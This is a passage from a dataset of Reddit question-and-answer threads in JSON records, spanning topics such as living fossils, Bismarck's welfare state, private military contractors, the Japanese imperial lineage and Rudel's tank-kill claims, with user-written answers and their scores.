pregnant again ASAP\" thesis is just an excuse, NOT the whole story.)\n\nIdeally, the newborn would be removed from the mother almost immediately and given over to the care of nurses. The point was not at all to break the emotional ties between mother and child--in fact, mothers and fathers alike were expected to be intimately emotionally involved with their children. In Jewish families (stepping away from \"nobility or gentry\" for a moment), for example, mothers could not participate in the circumcision ceremony for their newborn sons but provided a special clean diaper cloth for the ceremony.\n\nInstead, the point was that any random woman could change a baby's diaper, any nursing woman could breastfeed an infant. Only the infant's mother could resume her duties at court and/or running the family and household, as swiftly as possible, thus doing far more to secure their long-term good fortune than dangling a rattle over a rocking cradle once a day.\n\nOnce women had returned to full participation in church and household, their Family First mentality pushed an expansion of their previous duties. Whether at court or traveling to visit family members and important acquaintances, mothers were to seek our potential marriage partners and wardship situations even while their offspring were toddlers. \n\nLater on in their children's lives, Christian mothers are often attributed with or charged with taking control of securing their children an education--in the high Middle Ages, some queen mothers are even credited with teaching their princeling sons to read--but for sure, didactic literature expects mothers to teach their children Christian morality by example and in the basics of Christian devotion (the standard prayers, the Ten Commandments,  & c).\n\nNow, it's important to remember yet again that this whole picture is normative. There is some evidence, especially from Germany, that suggests more flexibility for new mothers in how much attention they paid to day-to-day details of infant care. A very, *very* popular devotional practice in 14C-15C was what Rosemary Hale calls *imitatio Mariae*: imitation of Mary.\n\nThis meant envisioning yourself swaddling Jesus in his swaddling clothes, laying him in a manger, laying him in bed, decorating his swaddling clothes, breastfeeding him. Some women even had dedicated Christ-child dolls to LARP with, assuming \"LARP\" was a meditative practice that was, at its heart, a prayer. The devotion was documented and encouraged through \"Vitae Christi\" books, lives of Christ, that were enormously popular with religious women, especially in Germany.\n\nThe point is obviously not that aristocratic women role-played nursing Christ, so they were familiar with nursing their own/each others' infants. Rather, it shows how medieval people understood that the daily tasks of motherhood created an exuberant *emotional* bond between people and their rec center ( & c). \n\nIn some cases (Birgitta of Sweden, Katharina Tucher) we even witness aristocratic and/or wealthy mothers enacting the imitatio Mariae. They understood at an experiential level that what they were envisioning themselves doing with the Christ-child was, in fact, *mothering*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ugx71", "title": "In what ways are \"living fossil\" species different from prehistoric species?", "selftext": "I've heard that scientists study the modern-day cousins of ancient species to learn a little more about them -- like studying the Lancelet (_URL_0_) to learn what the common ancestor to vertebrates might be like.\n\nBut evolution doesn't pause for anybody, and the Lancelets have had 530 million years to diverge away from the common ancestor. The same amount of time that humans and all vertebrates have. \n\nIn that sense, in what ways are species like the lancelet \"primitive,\" and in what sense are they highly evolved from the species of common ancestry? I'm curious about all kinds of plants or animals that are studied to understand what ancient life was like.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3ugx71/in_what_ways_are_living_fossil_species_different/", "answers": {"a_id": ["cxf1sbl", "cxfftc7"], "score": [6, 2], "text": ["The term living fossils is a bit misleading. You are right that any organism alive today has had just as much evolution as any other organism alive today. The term primitive means simply that the structures of the body that we are able to observe in fossil ancestors seem very similar to the structures today. Just because the skeleton is very similar doesn't mean that other things, like colouring, internal organs, behaviours, immune systems etc are also similar.Studying \"living fossils\" can help us learn about ancient species, but we need to keep in mind that the current species is most definitely not the same as the ancestor species in all important details.", "Evolution does not 'pause' but it also does not change if it does not have to change. \n\nConsider Stromatolites they are the true living fossil, and they have been evolving longer than most anything else, yet they have actually not really evolved at all. \n\nIf something is well suited to its environment evolution is unnecessary as there is no selective pressure to change."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Lancelet"], "answers_urls": [[], []]}
{"q_id": "3slbgz", "title": "why did the base line for the white stripes' seven nation army become so popular in sports?", "selftext": "Also do they collect royalties on that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3slbgz/eli5_why_did_the_base_line_for_the_white_stripes/", "answers": {"a_id": ["cwy9ajr"], "score": [3], "text": ["It's the kind of song that can build anticipation and get you pumped up for the main event. That combined with the fact that it's popular makes it a crowd pleaser. And yes, they do collect royalties."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31f6qv", "title": "could one train in a gravity room like in dbz to get faster/stronger?", "selftext": "No im not talking about unrealistic 300g like Vegeta did. But maybe \u00d72 or \u00d73?\n\nThe only problem would be blood flow, so after a certain point it would be impossible to do because blood wouldnt be able to flow back up from the legs.\n\nBut my question is if it would be possible to train in a gravity room, lets say by running, then outside of the room you could exert the same force but run faster.\n\n\nEDIT: Im speaking more along the lines of running than lifting weights. For example, if Usain Bolt were to enter a gravity room to train everyday instead of outside, then months down the road would he be even faster outside then previous?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31f6qv/eli5_could_one_train_in_a_gravity_room_like_in/", "answers": {"a_id": ["cq10quy", "cq12mnh", "cq13k6h", "cq14kof", "cq16dhh"], "score": [36, 16, 2, 3, 2], "text": ["It would just make everything more difficult, really no different to adding more weights to lift, or running with weights attached to yourself.\nI don't see why it wouldn't work, but it would be expensive, pointless, and would probably come with health complications.", "2x gravity would actually be pretty insane.  You don't realize how much work your muscles do just keeping your shambling corpse upright until you do a thought experiment like this.  Let's say that you weigh 150 lbs: at 2x gravity, your muscles (which are the same mass as they've always been) have to do as much work standing as you would if you were carrying your evil twin brother over your shoulders.  This isn't to say that people can't be strong enough to lift a person; firefighters and paramedics do it all the time.  But a lot of firefighters and paramedics end up with nasty degenerative back and knee injuries down the line, specifically because of the extra loading of those joints.  You could probably counteract this somewhat if your form was immaculate, but under such conditions you'd tire pretty quickly, and form suffers when you're tired unless you really work it.  In the end, human knees don't stand up to 70+ years of normal loading all that well.  To increase that artificially (whether its extra gravity or just obesity) will increase the rate at which the cartilage and other connective tissue in your joints wears out.\n\nThen you extend the thought experiment to 3x: standing with 300 lbs on your shoulders?  Forget about running.  Your knees will explode.  Just standing would be damn near impossible, and falling even once would probably kill you.\n\nTL;DR - In theory it would work, short term.  But the price you pay in joint degeneration and increased risk of injury would be way too high.", "You could get a similar effect if you go high altitude training and you also put on a weighted vest plus ankle and wrist weights. You could easily put on 50 pounds of extra weight and go train on high altitude and if would probably give you the effect", "I firmly believe this would work, as long as you had some senzu beans for post workout recovery. ", "You would run into cardivascular problems. You are made to work with 1g. While you may see some results short term long term you will become damaged and unable to compete. Also your heart which has to pump blood up and down your body will be dealing with that gravity as well. You would develop an enlarged heart that would ultimately lead to a heart attack. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "36z4v5", "title": "why indian action movies have this ridiculuos looking physics and always some dude who has superhuman strength and insane abilities?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36z4v5/eli5why_indian_action_movies_have_this_ridiculuos/", "answers": {"a_id": ["cribs1o", "cribx1s", "cridc47", "cridy9c"], "score": [9, 3, 3, 2], "text": ["For the same reason American action movies have bad guys that miss like they're on acid (poured it into their eyes at least), and insanely unreal relationships with unreal people exist in a story on par with a porno.\n\nTo advance the plot supposedly.", "Movies man, movies for entertainment, for fun for the pleasure of escape from the humdrum of human existence.. and lets be honest movies have always endowed the hero with near superhuman abilities.. the abilities to dodge a thousand bullets from multi machine guns while killing with every shot made with a pistol at 100meters.. as in most US action movies..\n", "For the same reason Bruce Willis killed a helicopter with a jeep. Cause it is cool.\r\rIndians have a problem. The vast majority of India is uneducated and for them a movie is escapism. It's larger than life versions of them. It's a power fantasy. But India didn't have the special effects budget our the luxury of being Chinese to get away with their bad movies. They don't want to see a movie about poverty in India. They want to see someone falcon punch a guy like this is smash brothers.\r\rWe see crouching tiger, hidden dragon and we go \"so artistic\". The same in India is fake. Mainly cause we assume that Indians have no martial arts... Rather silly really, they do have a fair few left. They just didn't have the renaissance that eastern ones had.\r\rThe heroes are genuine everymen... Usually poor or lower middle class aspiring to greatness. They fight an army of foreign influences that threaten the way of life of a group of people and then get the girl. \r\rThey basically are a fantasy. To escape crushing over work and no opportunities. \r\rIt's like pro wrestling or ballet.", "Hollywood action movies aren't all that more realistic. The bad guys can't shoot straight, and immediately fall down the moment they themselves are shot. There always has to be an improbable car chase that ends with at least one of the cars exploding in a ball of flame. Both the hero and the villain survive scenarios that should have killed them.\n\nThere are Hollywood movies that have featured people surviving a nuclear blast by hiding in a fridge, people leaping out of helicopters onto moving trains, people walking calmly away while entire buildings explode behind them, Mars being terraformed in seconds at the press of a button, people developing superhuman powers after being bitten by a spider, people landing a Space Shuttle on an asteroid -- none of this is remotely realistic or even possible.\n\nBut... who cares?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "126yh3", "title": "How do you look at snowflakes under a microscope?", "selftext": "_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/126yh3/how_do_you_look_at_snowflakes_under_a_microscope/", "answers": {"a_id": ["c6sqqbw"], "score": [6], "text": ["Use super glue\n(Directions from Popular Science)\n\n\n   Here's how you do it:\n1) Go outside with some glass microscope slides, cover slips, and superglue (not the gel kind; it should be thin and watery).  Cover the slides and cover slips until they become as cold as the surrounding air.  \n\n2) Let snow crystals fall onto a cardboard collection board, and scan around with a magnifier to find an attractive specimen.  Carefully pick the crystal up using a small artist's paintbrush and place it on one of the slides.\n\n3) Place a drop of cold superglue on the crystal, and drop a cover slip on top.  Be careful not to melt or otherwise damage the snow crystal in the process.\n\n4) Leave the slide outside or in your freezer for a week or two until the glue hardens.\n\nedit- formatting "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/8Jzr6"], "answers_urls": [[]]}
{"q_id": "2u3vxu", "title": "What was Otto von Bismarck's motivation(s) for creating a welfare state in Germany during the 1880s?", "selftext": "Was it realpolitik pragmatism?  Christian benevolence?  Or some combination of factors?\n\n\nI'm interested in learning more about this historical debate, book recommendations on this debate would be much appreciated!\n\n\n(I glanced through the wiki and I didn't see anything on Bismarck or this period in German history.)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2u3vxu/what_was_otto_von_bismarcks_motivations_for/", "answers": {"a_id": ["co4w76e"], "score": [14], "text": ["Bismarck led the creation of a welfare state for a few main reasons:\n\n* Reduce social unrest, and prevent an uprising like the Paris Commune of 1871. Bismarck wanted to reduce worker support for the socialists, and also make sure that the working classes supported the German empire project (which realistically could have dissolved following massive unrest).\n* Encourage workers not to emigrate, as many were leaving for the eastern USA, which was industrializing as well\n* He combined protectionism with new welfare policies to foster German heavy industry, which many saw to be key to both economic and military success\n\nThere had also been welfare policies in place (often dealing with some kind of healthcare or pensions) in some German states, like Saxony, prior to unification, and these had proved to be *not a bad thing.* The existing models formed the base of the welfare that was provided across the German empire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32p8yu", "title": "what's the difference between private military contractors like blackwater and mercenaries that are prohibited by the geneva convention?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32p8yu/eli5_whats_the_difference_between_private/", "answers": {"a_id": ["cqdaxcf", "cqdb3jz", "cqde4pz", "cqde5pl", "cqdere4", "cqdey3o", "cqdfw9v", "cqdgjbq", "cqdiwwl", "cqdj5vb", "cqdjtkh", "cqdjx6c", "cqdk89v", "cqdlayw", "cqdlgvl", "cqdlme7", "cqdlq9n", "cqdme5a", "cqdmpmf", "cqdmx3j", "cqdn070", "cqdn65o"], "score": [700, 55, 4, 7, 32, 33, 3, 8, 10, 2, 36, 3, 8, 2, 2, 3, 2, 2, 2, 3, 2, 2], "text": ["Technically speaking Blackwater was not specifically hired (on paper) to fight or to wage battles. They were hired on a contractor basis to run protection details for specific individuals, both in the private and public sector. The US Govt hired them to do certain tasks and cover dignitaries. And Haliburton/KBR (Dick Cheneys company) hired them to play machine gun bodyguards to cover the oil men. So the difference is they are specifically hired for protection, and not hired in a basis to actually instigate or start battles. Where as a true mercenary would be specifically hired to fight battles. \n\nThat is what the difference is \"supposed\" to be, and what Blackwater was \"supposed\" to do. (And a good majority of them did do).\n\nHowever, the reality of it though is a good portion of blackwater jumped through 1 legal fucking loophole after another... and they sure as shit were mercenaries. 4 \"Contractors\" are serving serious time while their \"boss\" hung them out to dry, and sold blackwater to a group of investors only to make millions. ", "Mercenaries are prohibited because they will fight for any side provided that they are paid enough. And therefore have no stake.\n\nContractors are hired by a specific country for security positions. They escort convoys, they help guard bases and offices and such, they are very heavily armed/trained security guards, officially. They don't actually conduct patrols, they don't go out and fight, they aren't meant to be used like soldiers.", "Mercenaries don't give a cut of their profits to the governments out to get them. When they do, they become contractors.", "Interesting. I did not realize that they were not technically Mercs.\n\nA distinction without a difference, in my view. ", "The geneva convention lays down a very specific definition of \"Mercenary\" making it easy for anything to escape that title. Lots of private military contractors provide support, training, protection, etc. so its difficult to to pin down a single definition of who and what they are. For a *really* good deep dive into this topic, check out \"The Modern Mercenary\". I'm about half way through, but really interesting stuff. ", "['A mercenary[1] is a person who takes part in an armed conflict who is not a national or a party to the conflict and is \"motivated to take part in the hostilities by the desire for private gain.\"[2][3]'](_URL_0_)\n\nSince those employed by the mentioned entities were nationals of a party to the conflict it is not covered by the definition. I suspect that the 'or' in my cited section is supposed to be an 'of' but the article that it's from contains everything that you need to see why the employees of the named entities are not mercenaries as mercenaries are defined in treaties.", "Security contractors like the former Blackwater group (Academi, currently) are hired to protect personnel and materials. In layman's terms, they keep non-combat roles. They protect State Department civilian personnel, medical convoys, etc.\n\nMercenaries, on the other hand, are hired by a country to actually go on combat operations.", "The difference is mercenaries are hired guns that are paid to do one thing (Fight an opposing force, asssasinate someone, etc.) and generally have no rules or protocols to follow in order to get that task accomplished. \n\nBlackwater (now known as Academi) and companies like them are contractors who work under a strict contract which details what they are supposed to do and how to do it. They are known to provide security for individuals, businesses, government buildings, bases, etc. They also might be hired to train soldiers and in some rare cases aid them in a mission/operation. This is where it gets choppy because since they aren't acting under military law and rules they can't be Court Marshaled or otherwise tried as part of the nations military, which sometimes allows them to use it as a loophole. This is certainly rare as most of them wouldn't do this because it would be a breach of contract and they wouldn't get paid but it does happen. \n\nI don't know if this was posted in light of the 4 former Blackwater members being tried recently for the massacre of Iraqi civilians, but I glad those murders are being sentenced finally. Blackwater and it's associates were of course a very bad apple in a big basket of good honest hardworking military contractors/companies. \n\nThere's a vice documentary about this topic, good watch, take it how you will. _URL_0_", "You ever play CoD Black Ops, or any of those other shooters, and wonder why a truck with a machine gun bolted into the bed is called a \"technical\"? \nNGOs working in places that are overrun with warlords need hired guns, and like you mentioned the mercenaries are illegal. And so, they hire \"technical advisers\"--aka mercenaries, people hired to protect you and your foreign aid shipments so that your NGO can help people in war-torn Whateveristan. (And they will use those trucks with M60s bolted in the back). \n_URL_0_", "how does one sign up for Blackwater?", "Alright, this is actually something that I can answer with an informed and well supported view. I'm currently studying for my Master's degree in international security and have studied private military. According to Peter Singer, author of *Corporate Warriors*, there are 6 essential characteristics that distinguish mercenaries from other combatants and military organisations:\n\n1. *Foreign:* \"A mercenary is not a citizen or resident of the state in which he or she is fighting\"\n\n2. *Independence:* \"A mercenary is not integrated (for the long term) into any national force and is bound only by the contractual ties of a limited employee\"\n\n3. *Motivation:* \"A mercenary fights for the individual short-term economic reward, not for political or religious goals\"\n\n4. *Recruitment:* \"Mercenaries are brought in by oblique and circuitous ways to avoid legal prosecution\"\n\n5. *Organisation:* \"Mercenary units are temporary and ad-hoc groupings of individual soldiers\"\n\n6. *Services:* \"Lacking prior organization, mercenaries focus on just combat service, for single clients\"\n\nTo counter these characteristics, there are 6 reasons why private military firms (PMFs) are different:  \n\n1. *Organisation:* \"Prior corporate structure\"\n\n2. *Motives:* \"Business profit-driven, rather than individual profit-driven\"\n\n3. *Open Market:* \"Legal, public entities\"\n\n4. *Services:* \"Wider range, varied clientele\"\n\n5. *Recruitment:* \"Public, specialised\"\n\n6. *Linkages:* \"Ties to corporate holdings and financial markets\"\n\nBasically, mercenaries are usually assembled on an ad-hoc basis and are in it for individual profit motives. Additionally, they generally only offer simple combat services, rather than the vast array of services that PMFs can provide. PMFs are corporations that hire personnel usually on contractual bases, and these persons can provide a wide range of services. \n\nToday, modern militaries rely heavily on private military firms to help them function. While firms like what was previously known as Blackwater provide services at the forefront of operations, there are other types of companies that provide consultancy and support and logistics. So while one PMF may provide a private security detail of a VIP, another firm could build military bases and installations, operate mess halls, service latrines, or control the supply chain. The operations of *military provider* PMFs certainly falls under a grey area of international law, but other types of PMFs may be more black and white than you'd expect. I hope this gives you a better understanding of the key differences between mercenaries and private military companies. ", "PMC's, or private military contractors, are supposed to be used defensively by definition. Mercenaries are defined as offensive, which makes them illegal, but the difference is hazy.", "ELI5:\nPrivate military contractors are contracted to provide services for non-inherent government functions (defensive, maintenance of infrastructure, logistics like fuel and water, etc.). Mercenaries are contracted to provide services that include inherent government functions. A government function in a battlefield can be considered the conducting of offensive tactical operations. \n\nA little more explanation:\n\n**Private Military Contractors** or PMCs for short such as Blackwater, DynCorp, Aegis, etc., are contracted to provide services for *non-inherent governmental functions*. Non-inherent governmental functions can be serving as an interpreter or providing certain supplies such as water or electrical maintenance for a military base. An inherently governmental function would be conducting offensive operations such as seeking out and eliminating insurgents. \n\n**Mercenaries** are on the other hand contracted to carry out *inherent governmental functions* such as conducting offensive operations. One example is where a company called Executive Outcomes _URL_0_, a Private Military Contractor from South Africa, operated in an offensive tactical role in Equatorial Guinea's 2004 coup d'etat.\n\nPMCs such as Blackwater are sometimes called (*PMC employees sometimes consider the reference mercenaries as a derogatory term*) mercenaries due to the grey areas that a battlefield can provide. Also questions as to how they chose to act within those circumstances have led to this term being leveled against them and the field as a whole. Within the diplomatic security contracts the contractors serve as security details. These contractors are detailed to protect clients (State Department foreign service and other VIPs) from hostile encounters. Example would be a client is driven to meet with some elders of a community and mortar fire is reported to be incoming. The contractors are alerted and the contractors extract the client to a safe location. \n\nThe role of the contractor in this example is to use all options to disengage and get the client to safety. However if they are tactically cornered or the client is pulled away from the detail, the contractors are to engage and attempt to recover the client and then get to safety. This can also lead to calling in any local military support if this occurs. How tactical situations arise and how choices are made to engage or disengage can result in an ambiguous grey area leading to questions about the roles of PMCs and how much their roles overlap the line between governmental functions and non governmental functions.\n\nSource:\nI worked within the Diplomatic Security / Private Military Contractor (PMCs) field (not Blackwater, but a competitor) for several years, mostly in efforts relating to deploying personnel to and from theater.  After leaving that line of work I subsequently studied the gov't policies revolving the High Threat Protection Diplomatic Contracts as part of my Masters Program, but I am by no means an expert in this! \n\nedit:Removed some bolding", "A lot of FUD here, to be expected from a pretty loaded question.  But to truly understand this, one has to understand the problem the Geneva convention was trying to solve.\n\nMercenaries saw wide use across Europe before the advent of professional volunteer armies, which really only saw their first use in medieval Europe relatively recently - with the Spanish Tercios of the mid 1500s.  Before that, and for a long time after that wars between feudal lords were fought almost exclusively by proxy mercenary armies.  Some wars were fought almost exclusively by mercenaries on both sides.  Anyone who had some money and a claim could raise an army and cause general havoc among established nation states.  This was a serious problem that caused frequent chaos, enabling non state actors to act as nation states.  Coups, looting, unrest, all this enabled by the heavy use of mercenaries.  This is the problem the the conventions seek to address - by eliminating the ability of non state actors to purchase foreign armies that can overrun countries.\n\nBlackwater, in that context are really not what would be recognized as mercenaries in a historical context.  For the most part, they are citizens of the state they fight for, they don't have the ability to wage a war on their own.  For example, you couldn't just buy Blackwater services to take over a country and install yourself as king.  And so, Blackwater is probably more similar to a volunteer based state actor regular army, than a non state mercenary per the Geneva convention.  There's nowhere in the convention that defines a mercenary as someone who doesn't receive a direct salary from the state.  Many of the first professional militarized were not compensated this way.", "I thought Blackwater changed its name and was going to or did merge with Triple Canopy. ", "You can't use mercenaries to fight your war but you can hire them to provide security for your personnel.  \n\nAlso the part of the definition of mercenaries is that they are not nationals of one of the nations involved.  So if all your mercenaries are from your nation you get a pass.", "America decided that international courts don't apply to them  \nNicaragua case: - international court says 'hey america, stop running around with soldiers in a foreign country' court rules 'we're the law', by that logic, no court can prosecute america.    \nUN prosecuting body the international criminal court- america makes it not have universal jurisdiction so they only apply to nations that join up. - Henry Kissinger is the driving force behind this.  \nBut what if your on a signatories land doing war crimes, what if afghanistan is signed up?. - America creates bilaterial immunity agreements (Coined 'bilateral impunity agreement') with nations saying 'here take some money and write into statute, if you prosecute our people we'll find them and take em back'  - E.g Afghanistan signed this for an 8 billion infrastructure deal.  \nI have sources but I'm writing this pretty quickly, feel free to challenge me I'm sure there's more to it.", "Blackwater(and other such compares) are hired as bodyguards/guards(and along these lines) and not as mercenaries which is why they are \"legal\". Mercenaries are paid to fight a war and are hired to engage enemies. Blackwater does not necessarily engage enemies(unless attacked) but who knows, they could be willingly driving in some area known as an enemy territory, see some people and attack them because they are \"suspicious\", \"on the verge of attacking\" or as a \"precautionary defense\".\n", "The functional difference is their role. Military personnel are allowed to pursue and engage enemy combatants. Contractors may engage, but only within the confines of their job. Most contractors are essentially armed security guards. The crazy shit you hear about them getting into firefights is usually a situation in which they have far exceeded their purview.  I know it seems like a slight difference, but it means a lot in terms of ROE (rules of engagement). I'm an Army Vet and I worked with a lot of paramilitary contractors. ", "It's semantics. They're qualitatively the same thing. We do this all of the time. Enhanced interrogation = torture. Administrative assistants = secretaries. Etc. ", "Murica: \"It's OK Boutros Boutros, they're with me.\"", "Mercenaries technically can't be nationals of the country they're fighting for. By definition Blackwater (Xe) isn't a mercenary organization because the people they employ are Americans. I mean, they're obviously  mercenaries and should not be legally allowed to exist, but its kinda a semantics thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Mercenary"], [], ["http://youtu.be/6LaSD8oFBZE"], ["https://en.wikipedia.org/wiki/Technical_(vehicle)"], [], [], [], ["https://en.wikipedia.org/wiki/Executive_Outcomes"], [], [], [], [], [], [], [], [], []]}
{"q_id": "1pdv8q", "title": "What are the best books on Billy the Kid ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pdv8q/what_are_the_best_books_on_billy_the_kid/", "answers": {"a_id": ["cd1hb99"], "score": [3], "text": ["Robert Utley's 'Billy the Kid A short and Violent Life is good'. 'To Hell on a Fast Horse' by Mark Lee Gardner is a fascinating read, and 'High Noon in Lincoln' is Utley's book on the Lincoln County War. If you run into the work of Frederick Nolan, he is a great read and knowledgeable in his facts. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bl2k3a", "title": "Is the current Emperor of Japan related to first Emperor of Japan?", "selftext": "I managed to trace Emperor Naruhito's lineage back to Emperor Jimmu, the first emperor of Japan, but I used sources like [_URL_0_](https://_URL_0_) and [_URL_3_](_URL_2_). Can anyone confirm his real lineage?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bl2k3a/is_the_current_emperor_of_japan_related_to_first/", "answers": {"a_id": ["enw6s9x"], "score": [2], "text": ["Japanese imperial narratives claim that Japan has the world\u2019s oldest monarchy and as you say that the Naruhito can trace his lineage to Emperor Jimmu. Nevertheless, there are numerous issues with the historicity of such claims.\n\nEarly imperial narratives are mythological in nature. Jimmu for example is literally described as the grandson of a Goddess and is said to have lived to the age of 126. Indeed, scholars question the very existence of Japan\u2019s first 9 emperors. Although there is some consensus that the 10th Emperor, Sujin, actually existed. \n\nModern scholars have also sought to argue that the writers of Japan\u2019s imperial histories such as the Kojiki and Nihon Shoki, and interpreters of these texts have purposely attempted to overlook and redact information that suggests that the lineage of the imperial family is far from one unbroken line. \n\nI\u2019d recommend the work of Stefan Tanaka who explores how the myth of unbroken Japan\u2019s imperial lineage has been used and developed following the Meiji Restoration."]}, "title_urls": [], "selftext_urls": ["geni.com", "https://geni.com", "https://zh.wikipedia.org", "zh.wikipedia.org"], "answers_urls": [[]]}
{"q_id": "33phbz", "title": "Today, political campaigns (at least in the US) are fueled by billionaire donors. How long has this been going on?", "selftext": "Essentially, how early in American history were elections won with money? I know that the Pendleton Act that was supposed to end the spoils system had a little to do with it, but beyond that, I don't know much.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/33phbz/today_political_campaigns_at_least_in_the_us_are/", "answers": {"a_id": ["cqn7vi9", "cqnio74"], "score": [21, 6], "text": ["I could not say if he was the \"first\" candidate to do so, but Lyndon Johnson, in his 1948 race for Texas's vacant U.S. Senate seat against retired Governor Coke Stevenson, relied on a _significant_ fundraising disparity to close the gap between him, and the massively popular Texas statesman. \n\nRobert Caro's _Years of Lyndon Johnson_ -- and especially book 2, _Means of Ascent_ -- describes Johnson's political empire as a little-discussed network of major corporate donors, forming a veritable who's-who of major Texas industrialists: Sid Richardson (oil magnate and philanthropist [he was later a major donor to Rice University]) , Herman Brown and George R. Brown of Brown  &  Root (which would be acquired by Halliburton on the latter's death), and Alan J. Wirtz (businessman/politician). Money made its way to Johnson's campaigns through the ordinary means of above-board contributions up to the then-existing limit of $5,000.00; then, it reached him in cash-stuffed envelopes, hand-collected and hand-delivered by aides. \n\nAll of this meant that when Johnson declared against Stevenson, the latter's ordinary time-tested means of campaigning -- driving town to town, sitting and speaking with voters in town squares -- was quickly overmatched. By circumventing campaign finance caps, Johnson was able to blanket the Texas airwaves in a manner unprecedented in early-modern politics -- helped, of course, by the fact that he owned, through is wife, several major local radio stations -- and even hired two helicopters to take him on a jet-age version of a whistle-stop tour of the state. \n\nEven that wasn't enough to win the race, which dissolved into allegations of vote-rigging and fraud, and ultimately had to be resolved [in court](_URL_0_) when Johnson claimed to have \"won\" by under 100 votes. Caro makes a persuasive case, based on an interview with the only south-Texas party operative still alive at the time he wrote the book, that the decisive votes were in fact invented. It's a good and depressing read.\n\nNote: the $5,000.00 limit Johnson worked under (and circumvented) was a product of the 1939 Hatch Act. The Federal Election Campaign Act of 1972 would lower the individual cap to $1,000.00 per candidate, with a per-cycle individual cap of $25,000.00. The per-candidate and aggregate caps were both found constitutional in *Buckley v. Valeo*, 424 U.S. 1 (1976). The aggregate cap was invalidated in the recent case of *McCutcheon v. F.E.C.*, 572 U.S. ___ (2014), and the $1,000.00/candidate cap was increased by the \"McCain/Feingold\" Bipartisan Campaign Reform Act.", "Money likely had a good deal to do with William McKinley's 1896 win over William Jennings Bryan.  Bryan's threats of \"Free Silver\" (I believe the topic of his famous \"Cross of Gold\" speech) spooked wealthy East Coast industrialists and allowed McKinley's campaign manager, Mark Hanna, to amass the largest campaign chest in history, pegged at $3.5million.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://works.bepress.com/cgi/viewcontent.cgi?article=1000&amp;context=josiah_daniel"], []]}
{"q_id": "1raiu5", "title": "what is a fortune 500 company? why is it called that while other companies are not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1raiu5/eli5what_is_a_fortune_500_company_why_is_it/", "answers": {"a_id": ["cdl86i9"], "score": [26], "text": ["[The Fortune 500 is an annual list compiled and published by Fortune magazine that ranks the top 500 U.S. closely held and public corporations as ranked by their gross revenue after adjustments made by Fortune to exclude the impact of excise taxes companies incur.](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Fortune_500"]]}
{"q_id": "4ncqie", "title": "How reliable are Hans-Ulrich Rudel's tank kills?", "selftext": "He got credited with 519 destroyed tanks which is a ridiculously large number. I have read about trials conducted by Soviets, Germans and the Allies that show how difficult it was to even damage tanks with bombs, and yet Rudel had destroyed more tanks than even highest scoring tank aces.\n[Here](_URL_1_) and [here](_URL_0_) are two links to two the things I read.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ncqie/how_reliable_are_hansulrich_rudels_tank_kills/", "answers": {"a_id": ["d42zre4", "d430ddt", "d4391xj"], "score": [8, 4, 4], "text": ["The short answer is not very reliable. Here's why.\n\nFirst of all, ground attack aircraft are guaranteed to be shot at by at least something. Whether it's AA machineguns on the tanks, dedicated AA vehicles following them, enemy fighters, you name it. There isn't much time to carefully line up a strafing run and then stick around to examine your results. Also, if you see a tank stop, what does that mean? Did you destroy it? Knock it out temporarily? Did it drive off the road to escape your attack and become bogged down? There is no way to know. Also, since you are not a ground unit, the chances of you capturing the battlefield and evaluating the kills up close are almost zero. This leads to situations described [here](_URL_1_). Between June 1950 and June 1952, the US Air Force makes claims of 1256 tanks destroyed and 1298 tanks damaged in Korea, while the most generous intelligence estimates credit the enemy with 600-700 tanks. That's the first problem.\n\nThe second problem is a systematic issue of overclaim in the German army. I've only researched it in the context of tank-on-tank action, but according to [Joachim Peiper](_URL_0_), this problem was an epidemic that gripped the entire army. ", "Assessing numbers in the air war was difficult at the time due to ordinary \"fog of war\" and hasn't been made easier with the passage of time.  \n\nI am not aware of a source that critically examine's Rudel's claims.  I read Rudel's account and it took the claims at face value, as is only natural.  There is no reason that we should however, since almost all air claims in WWII overstated losses by a hefty margin. \n\nIt wouldn't surprise me if the first source you linked on this subject (which itself sites decent sources) is the best available discussion of the subject available in English.  The 10x ratio of claims/losses given in the example is pretty normal for WWII.   Fighter pilot claims of kills usually can be discounted by about a factor of 10.\n\nSo I think I'd find the first article convincing and discount Rudels claims by a good margin.  \n\nHaving said all this, I think the author of the first article overstates his conclusions, the effects of air attacks and air interdiction did seem to markedly reduce the combat effectiveness of armored units and the fact was extensively noted by contemporary officers. ", " > I have read about trials conducted by Soviets, Germans and the Allies that show how difficult it was to even damage tanks with bombs\n\nMost of the tank kills credited to Rudel were not with bombs but with the dedicated tank killing Ju 87 G model of the Stuka armed with two 37mm antitank cannon in pods under the wings."]}, "title_urls": [], "selftext_urls": ["http://www.battlefield.ru/il2-vs-panzers.html", 